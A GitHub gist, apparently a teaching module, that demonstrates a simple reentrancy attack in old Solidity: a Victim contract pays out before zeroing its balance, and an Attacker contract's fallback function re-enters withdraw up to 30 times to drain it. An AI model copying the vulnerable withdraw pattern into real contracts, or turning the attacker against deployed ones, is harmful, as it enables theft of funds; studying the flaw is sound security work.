Skip to content

Instantly share code, notes, and snippets.

@rob-Hitchens
Last active April 2, 2017 07:34
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save rob-Hitchens/7eab95883e1d30b7224f024304a1f713 to your computer and use it in GitHub Desktop.
Save rob-Hitchens/7eab95883e1d30b7224f024304a1f713 to your computer and use it in GitHub Desktop.
MODULE 2 - Simple Re-entrance
pragma solidity ^0.4.8;
contract Victim {
uint public owedToAttacker;
function Victim() {
owedToAttacker =11;
}
function withdraw() {
if (!msg.sender.call.value(owedToAttacker)()) throw;
owedToAttacker = 0;
}
// deposit some funds to work with
function deposit() payable {}
}
contract Attacker {
Victim v;
uint public count;
event LogFallback(uint count, uint balance);
function Attacker(address victim) payable {
v = Victim(victim);
}
function attack() {
v.withdraw();
}
function () payable {
count++;
LogFallback(count, this.balance);
// crude stop before we run out of gas
if(count < 30) v.withdraw();
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment